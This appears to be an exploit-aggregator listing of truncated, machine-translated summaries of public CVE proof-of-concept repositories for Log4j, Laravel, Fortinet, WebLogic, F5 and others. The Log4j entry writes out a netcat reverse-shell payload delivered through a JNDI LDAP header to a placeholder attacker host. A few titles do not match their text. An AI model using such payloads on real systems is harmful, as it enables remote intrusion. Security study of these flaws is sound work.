DS-Wireless-Communication-Remote-Code-Execution

Exécution de code à distance dans la communication sans fil DS Injecte du code arbitraire dans le jeu d'un client. Prérequis Python 3.10 pip pydivert Utilisation root@kitploit: pip install -r requirements.txt python dswirelesscommunicationremotecodeexecution.py ID CVE CVE-2023-45887 Licence GNU...

CVE-2018-15133-PoC

CVE-2018-15133-PoC ينفّذ هذا السكربت المكتوب بلغة بايثون استغلالًا لتنفيذ التعليمات البرمجية عن بُعد RCE لتطبيقات Laravel المعرّضة للخطر عبر إلغاء التسلسل غير الآمن، استنادًا إلى الثغرة الأمنية CVE-2018-15133. يستغل هذا الاستغلال ثغرة أمنية في Laravel الإصدارات 5.5.40 وما قبلها، ومن 5.6.0 حتى...

PrintNightmare

PrintNightmare هذا مشروع سيساعد في مكافحة الثغرة الأمنية في ويندوز PrintNightmare! CVE-2021-34527 يجب أن تعلم أنه تم إصدار تصحيح من مايكروسوفت ضد هذه الثغرة، لكنه ليس فعالاً بشكل كامل، فهو يكافح فقط RCE تنفيذ التعليمات البرمجية عن بُعد بينما لا يزال LPE رفع الامتيازات المحلية يعمل للمهاجمين...

CVE-2025-32756-POC

CVE-2025-32756: برهان مفهوم RCE لـ Fortinet برهان مفهوم للثغرة الحرجة من نوع تجاوز سعة المخزن المؤقت المبني على المكدس CVE-2025-32756 التي تؤثر على منتجات Fortinet. الثغرة CVSS : 9.8 حرجة النوع : تجاوز سعة المخزن المؤقت المبني على المكدس في معالجة ملف تعريف الارتباط AuthHash التأثير : تنفيذ أوامر...

cve-2019-11043

Vulnérabilité d'exécution de code à distance PHP CVE-2019-11043 1. Contexte Le 26 septembre, PHP a publié un avis de vulnérabilité, indiquant que les serveurs utilisant Nginx + php-fpm, sous certaines configurations, présentent une vulnérabilité d'exécution de code à distance. Cette configuration...

CVE-2020-7931

CVE-2020-7931: استغلال SSTI في Artifactory Pro CVE-2020-7931 هو إلى حد ما ثغرة تكوين خاطئ مقصودة في Artifactory تسمح للمهاجمين بإجراء حقن القوالب من جانب الخادم من قالب FreeMarker. تم اكتشاف الثغرة بواسطة Ryan Hanson من Atredis وتم إصلاحها لجميع الإصدارات المتأثرة في أواخر 2019. ستعمل فقط على...

CVE-2019-7216

CVE-2019-7216 Dans filechucker.cgi version 5.09 et filechuckerprefs.cgi version 4.99e-free-e02, il existe un contournement du filtre, lors du téléversement, qui peut conduire à une exécution de code à distance si l'utilisateur téléverse un fichier malveillant. Le contournement se produit lorsque...

CVE-2018-3191

Weblogic-CVE-2018-3191 ثغرة تنفيذ الأوامر البرمجية عن بُعد بيئة weblogic لـ Docker 0x00 مقدمة في 17 أكتوبر بتوقيت بكين، قامت Oracle بإصلاح ثغرة عالية الخطورة لتنفيذ الأوامر البرمجية عن بُعد في WebLogic CVE-2018-3191 في تحديث التصحيح الحاسم لشهر أكتوبر Critical Patch Update. تسمح هذه الثغرة...

Log4j2-CVE-2021-44228

CVE-2021-44228 Injection de code à distance dans Log4j https://twitter.com/jas502n/status/1468946197629272066 SpringBoot-pom.xml utilisation par défaut : xml org.springframework.boot spring-boot-starter-web root@kitploit: mvn dependency:treejava INFO | | +-...

CVE-2024-21762-Exploit-PoC-Fortinet-SSL-VPN-Check

CVE-2024-21762-Exploit-PoC-Fortinet-SSL-VPN-Check تحقق مما إذا كان جدار الحماية الخاص بك معرضًا لـ CVE-2024-21762 RCE بدون مصادقة لمزيد من المعلومات حول الثغرة: https://cuty.io/TKyfFh اشترك أو انضم إلى وسائل التواصل الاجتماعي الخاصة بي لمزيد من HACKING!! تعلم كيفية اكتشاف الثغرة وحماية شركتك فيدي...

Wing-FTP-Server-7.4.4-RCE-Authenticated

Wing FTP Server 7.4.4 - Exécution de code à distance Authentifié CVE-2025-5196 Wing FTP Server fournit une console de script Lua administrative accessible via son interface web. Les administrateurs authentifiés peuvent exécuter du code Lua arbitraire avec un sandboxing insuffisant. Version affect...

CVE-2021-46422_RCE

CVE-2021-46422 RCE Installation root@kitploit: git clone https://github.com/yigexioabai/CVE-2021-46422-RCE.git cd CVE-2022-26134-cve1 pip3 install -r requirements.txt Placez CVE-2021-46422 RCE.py dans le répertoire pocsuite3\pocs cd pocs Utilisation de pocsuite3 URL unique : root@kitploit: pocsui...

CVE-2022-1388-rs

CVE-2022-1388-rs ماسح ضوئي وقشرة تفاعلية لثغرة CVE-2022-1388 في F5 BIG-IP iControl REST لتجاوز المصادقة وتنفيذ الأوامر عن بُعد، مكتوب بلغة Rust ملخص للتلخيص، فيما يلي نظرة عامة على الشروط اللازمة لطلب استغلال هذه الثغرة: يجب أن يتضمن ترويسة Connection القيمة X-F5-Auth-Token يجب أن تكون ترويسة...

CVE-2022-42889-PoC

CVE-2022-42889 المعروفة أيضًا باسم Text4Shell إثبات مفهوم لتنفيذ التعليمات البرمجية عن بُعد RCE Text4Shell هو الاسم الشائع لثغرة برمجية حرجة تم اكتشافها في مكتبة Apache Commons Text انظر CVE-2022-42889. يهدف هذا المستودع إلى توضيح تنفيذ التعليمات البرمجية عن بُعد RCE يستغل هذه الثغرة CVE. يتم...

CVE-2024-38856_Scanner

CVE-2024-38856 Только для этического использования. Любые вредоносные или злонамеренные действия запрещены. Вся ответственность лежит на вас. CVE-2024-38856: сканер и эксплойт для удалённого выполнения кода в Apache OFBiz Анализ CVE: https://blog.securelayer7.net/cve-2024-38856-apache-ofbiz-rce Э...

CVE-2021-22005_PoC

CVE-2021-22005PoC CVE-2021-22005PoC getshell: https://gist.github.com/testanull/c2f6fd061c496ea90ddee151d6738d2e vérification: https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/20210923WEBVmwarevCenterServerFIleUploadCVE-2021-20050.py...

log4jshell_CVE-2021-44228

log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc Public IP Port -e /bin/sh Convertir en Base64 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= Payload curl Target Website -H "X-Forwarded-Host: $jndi:ldap://ReverseshellIP:Port/Basic/Command/Base64/Payload in base64 Preuve de concept Log4j P...

EvilRip

Cve-2020-5029-finder إنه سكربت صغير لجلب النطاقات الفرعية/عناوين IP المعرضة لثغرة CVE-2020-5902 مكتوب بلغة bash. الإصدار المتأثر في إصدارات BIG-IP 15.0.0-15.1.0.3، و14.1.0-14.1.2.5، و13.1.0-13.1.3.3، و12.1.0-12.1.5.1، و11.6.1-11.6.5.1، تحتوي واجهة إدارة حركة المرور TMUI، التي يشار إليها أيضًا باس...

CVE-2021-27850_POC

CVE-2021-27850 Exploit Overview CVE-2021-27850 is a critical unauthenticated remote code execution vulnerability that was found in all recent versions of Apache Tapestry, by downloading the AppModule.class file we can leak the HMAC Secret key used to sign all the serialized objects in apache...

CVE-2024-38063

CVE-2024-38063 — ثغرة في مكدس IPv6 في ويندوز تحليل وإثبات المفهوم -red تحليل تقني وإثبات مفهوم PoC لـ CVE-2024-38063 ، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد RCE في مكدس IPv6 في ويندوز tcpip.sys. تم اكتشافها بواسطة مختبر كونلون، وهذه المشكلة هي صفر نقرة ، مما يعني أنه يمكن تشغيلها بواسطة...